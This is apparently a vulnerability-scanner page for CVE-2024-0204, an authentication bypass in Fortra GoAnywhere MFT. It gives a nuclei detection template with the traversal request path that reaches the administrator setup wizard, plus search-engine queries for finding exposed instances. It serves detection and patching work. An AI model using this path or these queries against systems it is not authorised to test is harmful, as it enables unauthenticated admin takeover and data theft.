Fortra GoAnywhere MFT - Authentication Bypass

criticalseverity

9.8CVSS score

95.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Authentication bypass in Fortra's GoAnywhere MFT prior to 7.4.1 allows an unauthorized user to create an admin user via the administration portal.

Impact

Unauthenticated attackers can bypass authentication to create administrator accounts, leading to complete control over the GoAnywhere MFT system and access to all managed file transfers and sensitive data.

Fix

Upgrade to Fortra GoAnywhere MFT version 7.4.1 or later.

How to confirm it

Send: GET {{BaseURL}}/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml
Positive when: contains "Create an administrator account" and "goanywhere" AND status 200

Run it with nuclei: nuclei -id CVE-2024-0204 -u <target>

The full check

id: CVE-2024-0204

info:
  name: Fortra GoAnywhere MFT - Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    Authentication bypass in Fortra's GoAnywhere MFT prior to 7.4.1 allows an unauthorized user to create an admin user via the administration portal.
  impact: |
    Unauthenticated attackers can bypass authentication to create administrator accounts, leading to complete control over the GoAnywhere MFT system and access to all managed file transfers and sensitive data.
  remediation: |
    Upgrade to Fortra GoAnywhere MFT version 7.4.1 or later.
  reference:
    - https://my.goanywhere.com/webclient/ViewSecurityAdvisories.xhtml
    - https://www.fortra.com/security/advisory/fi-2024-001
    - https://github.com/horizon3ai/CVE-2024-0204/blob/main/CVE-2024-0204.py
    - https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/
    - http://packetstormsecurity.com/files/176683/GoAnywhere-MFT-Authentication-Bypass.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-0204
    cwe-id: CWE-425
    epss-score: 0.95086
    epss-percentile: 0.99863
    cpe: cpe:2.3:a:fortra:goanywhere_managed_file_transfer:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fortra
    product: goanywhere_managed_file_transfer
    shodan-query:
      - http.favicon.hash:1484947000,1828756398,1170495932
      - http.favicon.hash:1484947000
    fofa-query:
      - app="GoAnywhere-MFT"
      - icon_hash=1484947000
      - icon_hash=1484947000,1828756398,1170495932
      - app="goanywhere-mft"
    zoomeye-query: app="Fortra GoAnywhere-MFT"
  tags: packetstorm,cve,cve2024,auth-bypass,goanywhere,fortra,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Create an administrator account"
          - "goanywhere"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from